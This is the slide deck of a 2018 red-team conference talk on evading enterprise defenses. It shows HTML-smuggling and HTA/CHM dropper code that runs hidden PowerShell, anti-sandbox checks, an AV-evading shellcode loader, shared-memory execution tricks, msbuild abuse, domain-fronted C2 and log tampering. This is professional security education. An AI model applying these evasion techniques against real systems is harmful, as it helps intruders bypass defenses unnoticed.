Flying under the radar
Introduction

• René Freingruber (r.freingruber@sec-consult.com)
  • Twitter: @ReneFreingruber
  • BSc @ TU Vienna, Currently MSc @ Technikum Vienna
  • Senior Security Consultant at SEC Consult
    • Red Team, Reverse Engineering, Exploit development, Fuzzing
    • Trainer: Secure C/C++, Reverse Engineering and Red Teaming
  • Previous talks:
    • 2014: Bypassing EMET
      • 31C3, DeepSec, ZeroNights, RuxCon, ToorCon and NorthSec
    • 2015: Bypassing Application Whitelisting
      • CanSecWest, DeepSec, Hacktivity, NorthSec, IT-SeCX, BSides Vienna and QuBit
    • 2016: Hacking companies via firewalls
      • DeepSec, BSides Vienna, DSS ITSEC and IT-SeCX (lightning talks at recon.eu and hack.lu)
    • Since 2017 fuzzing talks / workshops
      • DefCamp, Heise devSec, IT-SeCX, BSides Vienna, RuhrSec, BruCon, Hack.lu
We are hiring!

Founded 2002 (15+ years consulting)
Strong customer base in Europe and Asia
100+ Security experts
120+ certifications
500+ Security audits per year
• **Goal:** Hack into a „highly protected“ **company** without getting caught
  
  • **Antivirus protection / Endpoint protection**
  • **Antivirus on mail gateway**
  • **Firewalls**
  • **Network monitoring** (Microsoft ATA, Bro, …)
  • **IDS/IPS systems** (Snort, Suricata, OSSEC, …)
  • **SIEM** (Splunk, QRadar, ArcSight, ELK/HELK, …)
  • **Sandboxes** (FireEye, Lastline, Trend Micro Deep Security, Checkpoint Sandblast, …)
  • **Application whitelisting** (AppLocker, Device Guard, McAfee Application Control, Appsense, …)
  • **Workstation hardening** (PowerShell & CMD forbidden, PowerShell in constrained language mode, AMSI, credential guard, …)

Source: https://66.media.tumblr.com/4caa59b89ce82340d7bdd4cbcc4dd90/tumblr_pa98id5M7g1xoyw8po1_500.jpg
The attack

• **Get as much information as possible!**
  • Simple e-mail: Student needs to conduct a survey for university. What Antivirus product and OS do you use in your company? Any other security products?
  • Get internal domain name from the e-mail response header (or via lync server)
The attack

- **Test the payload locally!**
  - Buy the identified antivirus product and test every action locally! (full AV lab ~1500 €)
  - Before executing any command on the remote server test it locally on the same OS with the same Antivirus and same settings…

![Meme Image](https://imgflip.com)

**ONE DOES NOT SIMPLY**

**EXECUTE COMMANDS WITHOUT TESTING**
The attack

- The phishing mail:
  - Legit looking domain (reverse dns, SPF, DKIM, DMARC entries)
  - Don’t include the dropper in the mail → Dropper gets stored “forever” in the mailbox, more likely to be marked as SPAM, Antivirus / Sandbox on mail gateway sees the dropper
Place a link to a (https) website in the mail, which leads to the dropper download

- **Problem**: SSL/TLS Interception proxy (DPI) can still see the traffic!
The attack

• **Solution: HTML Smuggling**
  • Website returns HTML code with embedded JS code which contains the dropper!
  • JS code extracts the dropper and stores it on the system!

![Diagram showing the attack process involving a browser, TLS encrypted traffic, proxy, attacker's webserver, victim, and sandbox.](image-url)

**No sandbox execution because it's just HTML**
The attack

- HTML Smuggling

```javascript
encoded_content = /* encoded content */;
content_blob = new Blob([decode(encoded_content)], {type: 'octet/stream'});
fileName = 'test.chm';
if(window.navigator.msSaveOrOpenBlob) {
    window.navigator.msSaveBlob(content_blob, fileName);
} else {
    elem_a = document.createElement('a');
    elem_a.style = 'display: none';
    url = window.URL.createObjectURL(content_blob);
    elem_a.href = url;
    elem_a.download = fileName;
    document.body.appendChild(elem_a);
    elem_a.click();
    window.URL.revokeObjectURL(url);
```
The attack

• The dropper
  • Most people nowadays use .HTA (HTML applications) as dropper
  • Payload generation framework: SharpShooter
  • Reason for the use of .HTA
    • They can access ActiveX objects
    • They can directly execute shellcode (with DotNetToJScript from James Forshaw; Exact PowerShell version must be known)

```html
<html><head>
<script language="VBScript">
Set objShell = CreateObject("WScript.Shell")
objShell.Run "powershell -windowStyle hidden -nop -noni -c calc.exe", 0, True
Window.Close
</script></head></html>
```
The attack

Title: Flying under the radar | Responsible: R. Freingruber | Version / Date: V1.0/2018-11 | Confidentiality Class: public
© 2018 SEC Consult | All rights reserved
Let’s use .CHM (Windows Help Files)

- CHM files are archives (like .zip, .rar, .7zip, …)
- We can store our malware (.exe) inside this archive!
- Since it’s a custom archive format some security solutions may not be able to decompress it 😊
- Bonus: In the .HTA file the user can right click and read the attacker code; in the .CHM the attacker can put the dropper code into a .JS file which is inside the custom archive… (blue team needs a decompression program to find/read the code 😊)
The attack

Problem of .CHM:

```vbscript
<script language="VBScript">
    Set objShell = CreateObject("WScript.Shell")
    objShell.Run "powershell -windowStyle hidden -nop -noni -c calc.exe", 0, True
    Window.Close
</script>
```

leads to...

![Windows Security Warning](image)
The attack

- However, we can just configure the .CHM to spawn "topmost"…

- As soon as the .CHM gets closed Windows just executes the code independently on the selection in the confirmation box… 😊 😊 😊
• **Problem:** However, we don’t want to execute our code when the .CHM gets closed…
  - Maybe an **attentive user see’s the alert box** in the taskbar…
  - Maybe we want to **wait for user interaction** to bypass sandboxes
  - We want to execute other COM objects for **sandbox detection**

• **Solution:** .CHM allows to start “shortcuts” without shown an alert box!

```html
<script>
shortcut_obj = '<object id="my_shortcut" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b711e"><param
  document.getElementById("x").innerHTML = shortcut_obj + "powershell.exe,-c calc.exe" + ">
my_shortcut.Click();
</script>
```
The attack

- **Problem:** We said that the dropper should work on hardened workstations
  - PowerShell (and CMD) are forbidden!

- **Solution:** We start the .CHM file as .HTA file.... 😊

```html
<script>
loc = ""+document.location;
loc=loc.substring(loc.indexOf(":\")-1);
loc=loc.substring(0,loc.indexOf("::"));
shortcut_obj = '<object id="my_shortcut" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a81"
document.getElementById("x").innerHTML = shortcut_obj + "mshta.exe," + loc + ""></object>
my_shortcut.Click();
</script>
```
The attack

• **Problem:** We still need to detect & bypass *sandboxes*!

• Some protection systems work with **browser plugins** which forward all files to the sandbox, other endpoint protection systems invisibly forward it to a sandbox, if a file is *uploaded to an Antivirus vendor*, I don’t want that their internal sandbox detects it…

• **Solution:**
  • Wait for user interaction (e.g.: until a user solves the quiz and clicks a button)
  • Check the environment (domain, username schema, installed applications, …)
  • Sleep for some minutes (files typically run in the sandbox for 2-20 minutes)
The attack

- **Anti-sandbox: environment check (in the .HTA)**

```javascript
network = new ActiveXObject('wscript.Network');
dom = network.UserDomain.toLowerCase();
if(dom.toLowerCase() != "it-secx") {
    return; // Check for correct domain
}
fileSystem = new ActiveXObject('Scripting.FileSystemObject');
if(fileSystem.FileExists("C:\Program Files\Mozilla Firefox\firefox.exe") == false) {
    return; // Correct environment has firefox installed
}
shell = new ActiveXObject('wscript.shell');
username=shell.ExpandEnvironmentStrings("%Username%".Completed"
if(username.substr(1,1) != ".") {
    return; // check for username pattern x.lastname (x.. first character of forename)
}
alert("correct environment, going to drop malware...");
```
The attack

- Additional obfuscation (e.g.: JavaScript obfuscation)

- Example:
  - Don’t check against the hardcoded target domain ➔ Don’t leak the target to analysts

```javascript
hash = SHA512(domain)
if (numberOccurences(hash, "A") != 8
  || numberOccurences(hash, "B") != 4
  || ...)
{
    return;
}
```
The attack

• Anti-sandbox: Sleeping
  • Sleep for > 20 minutes at startup
  • Some sandboxes try to patch all sleep calls to 0 seconds, change the system time, skip function calls which take a long time, …
  • Bypassing it in reality: python malware with a time.sleep(60*21) call…

• Better solution:
  • Send request to the C&C server ➔ start measure time on the server
  • Sleep for x minutes, then send a second request to C&C
  • C&C checks if x minutes have passed ➔ if yes send the correct decryption key
  • Before sending the first request sleep for 5 minutes by doing calculations (ensure that CPU usage is below 5%); check afterwards against the correct results (➔ function calls can’t be skipped); This ensures that most sandboxes don’t even see the first request
Packed malware

Normal PE file

- PE header
- .text section
- .data section

Packed PE file

- PE header
- .text section
- .data section
- .stub

Executes via old entry point (OEP)
The attack

- Example of a legitimate looking PE file:

<table>
<thead>
<tr>
<th>Section Name</th>
<th>Permissions</th>
<th>Entropy</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>R-X</td>
<td>3.16</td>
</tr>
<tr>
<td>.rdata</td>
<td>R--</td>
<td>2.14</td>
</tr>
<tr>
<td>.data</td>
<td>RW-</td>
<td>2.35</td>
</tr>
<tr>
<td>.rsrc</td>
<td>R--</td>
<td>5.43</td>
</tr>
</tbody>
</table>

- Entry point somewhere in the middle of the .text section
- Number of imported functions: 56
- Binary contains normal strings
The attack

- Example of a malicious looking PE file:

<table>
<thead>
<tr>
<th>Section Name</th>
<th>Permissions</th>
<th>Entropy</th>
</tr>
</thead>
<tbody>
<tr>
<td>.text</td>
<td>RWX</td>
<td>7.71</td>
</tr>
<tr>
<td>.rdata</td>
<td>RW-</td>
<td>7.28</td>
</tr>
<tr>
<td>.data</td>
<td>RW-</td>
<td>7.29</td>
</tr>
<tr>
<td>.rsrc</td>
<td>RW-</td>
<td>7.89</td>
</tr>
<tr>
<td>.1</td>
<td>R-X</td>
<td>3.42</td>
</tr>
</tbody>
</table>

- Entry point at the start of the .1 section
- Number of imported functions: 2
- Binary contains no strings
Packed malware

Normal PE file

- PE header
- .text section
- .data section

EntryPoint

Packed PE file

- PE header
- .stub
- encrypted .text section
- encrypted .data section

Entropy: 7.81
Entropy: 7.68
Packed malware

Normal PE file

PE header

.data section

.text section

EntryPoint

Packed PE file

PE header

.encrypted text section

.encrypted data section

.stub

Entropy: 7.81

Entropy: 7.68
Packed malware

Normal PE file

- PE header
- .text section
- .data section

Packed PE file

- PE header
- .stub
- transformed .text section
- transformed .data section
Packed malware

Normal PE file

- PE header
- .text section
- .data section

Packed PE file

- PE header
- stub
- transformed .text section
- transformed .data section

Entropy: 3.14
Entropy: 2.16
The attack

• **The .stub still needs to jump back to the original entry point!**
  • Modern AVs hook this “jump to the original entry point” and then scan the memory at that time (when the malware must already be decrypted!)

• **Example of code:**

```c
uchar *enc_shellcode = [0xaa, 0xbb, ...];
uchar *decrypted_shellcode = decrypt(enc_shellcode);
uchar *new_memory = VirtualAlloc(sizeof(decrypted), PAGE_RW);
memcpy(new_memory, decrypted_shellcode, sizeof(decrypted));
VirtualProtect(new_memory, PAGE_RX);
jump_to_address(new_memory);
```

**AV scans at this moment the „new_memory“ page against virus signatures!**
uchar *enc_shellcode = [0xaa, 0xbb, ...];

uchar *decrypted_shellcode = decrypt(enc_shellcode);
uchar *new_memory = VirtualAlloc(sizeof(decrypted), PAGE_RW);
memcpy(new_memory, decrypted_shellcode, sizeof(decrypted));
VirtualProtect(new_memory, PAGE_RX);
// jump_to_address(new_memory); // Line is commented out

➔ NOT DETECTED by Antivirus products
uchar *enc_shellcode = [0xaa, 0xbb, ...];

uchar *decrypted_shellcode = decrypt(enc_shellcode);
uchar *new_memory = VirtualAlloc(sizeof(decrypted), PAGE_RW);
memcpy(new_memory, decrypted_shellcode, sizeof(decrypted));
VirtualProtect(new_memory, PAGE_RX);
jump_to_address(new_memory); // Line gets executed

➔ DETECTED by Antivirus products
• The problem is that malware must write and execute a page!
  • If a page is marked from beginning as writeable and executable it looks malicious, if permissions are changed during execution, the Antivirus system can start to observe the page!

• Solution: Virtualization
  • Translate the program (the assembler code) into a “new language”
  • The original program is stored as DATA (the instructions in the new assembler code) and can therefore arbitrary be obfuscated / encrypted
  • New binary contains handlers for all possible instructions from the “new language”
  • A decoder loop iterates over the data section and parses / executes the instructions
  • Code gets interpreted instead of executed ➔ Different code can be executed by just changing data!
  • Commercial protectors like Themida or VMProtect implement this, but also state-sponsored surveillance software (like FinFisher) implement this
The attack

➔ We could also implement this, but implementing a VM translation is hard work…
➔ Here is a “lazy alternative” 😊😊😊

```
Process

hFileMapping = CreateFileMappingA("x");
buf = MapViewOfFile(hFileMapping,
    READ | WRITE, ...);
Write(buf, endless_loop_code);
```

```
Process

hFileMapping = OpenFileMappingA("x");
buf = MapViewOfFile(hFileMapping,
    READ | EXECUTE, ...);
Jump_to_address(buf);
```

AV scans the “buf” page for malicious signatures, but just sees the endless loop code

Execute endless loop
The attack

➔ We could also implement this, but implementing a VM translation is hard work...
➔ Here is a “lazy alternative” 😊😊😊

Process

hFileMapping = CreateFileMappingA(“x”);
buf = MapViewOfFile(hFileMapping, READ | WRITE, ...);
Write(buf, endless_loop_code);
write_in_reverse_order(buf, shellcode);

Process

hFileMapping = OpenFileMappingA(“x”);
buf = MapViewOfFile(hFileMapping, READ | EXECUTE, ...);
Jump_to_address(buf);

Executes shellcode
The attack

➔ We could also implement this, but implementing a VM translation is hard work...
➔ Here is a “lazy alternative” 😊 😊 😊

Process

```
hFileMapping = CreateFileMappingA(“x”);
buf = MapViewOfFile(hFileMapping,
                      MAP_ALL_ACCESS,
                      0, 0, 0);
write_in_reverse_order(buf, shellcode);
```

Process

```
hFileMapping = OpenFileMappingA(“x”);
buf = MapViewOfFile(hFileMapping,
                      MAP_ALL_ACCESS,
                      0, 0, 0);
Jump_to_address(buf);
```

Executes shellcode
The attack

➔ AV sees that 2nd process just starts to execute a R-X page
  • The AV can scan the page when it gets mapped
  • Or even when the process starts to execute it…
  • However, **we can modify the R-X page** as we like 😊

Source: https://www.youtube.com/watch?v=4eRctH1S7UU
The attack

• **Important**: Process 1 & Process 2 are not self written .exe files!
  • **Application Whitelisting** would block execution of them!

• **Solution**: Let Microsoft signed binaries load our code and execute it on behalf of them!
  • [LOLBins](http://LOLBins) / [GTFOBins](http://GTFOBins)
  • **Example**: `msbuild.exe` takes arbitrary C# code and executes it on behalf of its process
    `msbuild.exe injected_code.xml`

⇒ **Red teamers start to move from PowerShell tools to C#**
  • PowerSploit was rewritten to GhostPack
  • Kekeo (the Mimikatz for Kerberos) was rewritten to Rubeus
  • BloodHound was rewritten to SharpHound
The attack

• **Problem:** Network monitoring can detect that a system connects to a previously unknown IP (the C&C server)

• **Solution: Domain Fronting**
  - Traffic is sent to CDN servers and domain fronting ensures that it’s forwarded from there to real C&C server (e.g.: APT29 used this technique)
  - Google & Amazon started to block it

```bash
# curl -s https://www.google.com/resolve?name=sec-consult.com
--header "Host: dns.google.com" -k
{"Status": 0,"TC": false,"RD": true,"RA": true,"AD": false,"CD": false,"Question":[ {"name": "sec-consult.com.","type": 1} ],"Answer":[ {"name": "sec-consult.com.","type": 1,"TTL": 299,"data": "185.238.32.4"},"Comment": "Response from 205.251.1 97.57."]}
```
The attack

• **Problem:** Network monitoring can detect that a system connects to a previously unknown IP (➔ the C&C server)

• **Solution: Domain Fronting**
  • Traffic is sent to CDN servers and domain fronting ensures that it’s forwarded from there to real C&C server (e.g.: APT29 used this technique)
  • Google & Amazon started to block it

• **Other solution: Hide traffic in traffic to legitimate websites**
  • **Example:** Create an GMX email account
  • Commands & results are stored in e-mail templates
  • ➔ Monitoring solution just sees traffic to GMX.de
  • **Example 2:** Same on Dropbox / NextCloud ☺
The attack

- Steganography to hide C&C traffic
  - **Example:** a “fake captcha service” is used to hide the traffic
  - Captchas are downloaded which contain the commands embedded with steganography
  - Commands / output is encrypted with RSA and transformed to change entropy
The attack

• Lot’s of AV’s detect malware via their “behaviour”

• Example: AV can detect dumping hashes (Metasploit command “hashdump”)
  • Simple bypass: Just use “post/windows/gather/smart_hashdump” instead ➔ Undetected
The attack

- Other common behaviours:
  
  - Persistence
    - Surprisingly most AV’s are really bad at detecting persistence mechanisms!
    - Most of the time simple techniques already work
    - But there are lots of “more complex” techniques which are undetected by all AVs…
  
  - Code injection
    - Instead of common known injection techniques implement a custom injection technique for the target process (e.g.: DLL preloading or COM hijacking)
  
  - Keylogging
    - Instead of keylogging just show a Microsoft Windows alert which asks for the credentials
The attack

• Now we have code execution on a system – what’s the next step?

  ➔ Wait, until…
The attack

• Now we have code execution on a system – what’s the next step?

• ➔ Wait, until…

Here is the alpc bug as 0day: 
github.com/SandboxEscaper ... I don't fucking care about life anymore. Neither do I ever again want to submit to MSFT anyway. Fuck all of this shit.
Red Teaming

• **Problem:** Logging can detect the attack

• **Solution:** Just suspend all threads from the logging process

• Disable Windows Logging: [Invoke-Phant0m](#)

• All Windows logs can be removed or even specific entries can be modified / removed!
  • Equation Group malware
  • With new Windows 10 API spawn a child process under the logging service with “inherent handles”
  • Child gets handle to log file and can arbitrary modify it
• Same technique against other logging processes....
• Suspend CarbonBlack…
• **Owning the domain:**
  There is still so much to say about staying undetected during lateral movement ➔ Come to me after the talk

• **Quick overview:**
  • Instead of running nmap ➔ setspn –Q */*
  • Username / Session enumeration ➔ Instead of SAMR protocol use LDAP/WMI
  • Kerberoasting ➔ Don’t use weak encryption types
  • Golden Ticket / Trusted Tickets ➔ Follow the domain policy on lifetime of tickets
  • NTLM Relay / NTLM Hash Stealing: Don’t LLMNR/Netbios Poison with responder
  • …
Conclusion:

• An attacker can bypass all these security products

• But it’s getting harder and harder!

• It’s a cat and mouse game

• Don’t believe everything that vendors / sellers tell you
Thank you for your attention!

For any further questions contact me

René Freingruber
@ReneFreingruber
r.freingruber@sec-consult.com
+43  676 840 301 749

SEC Consult Unternehmensberatung GmbH
Mooslackengasse 17
1190 Vienna, AUSTRIA

www.sec-consult.com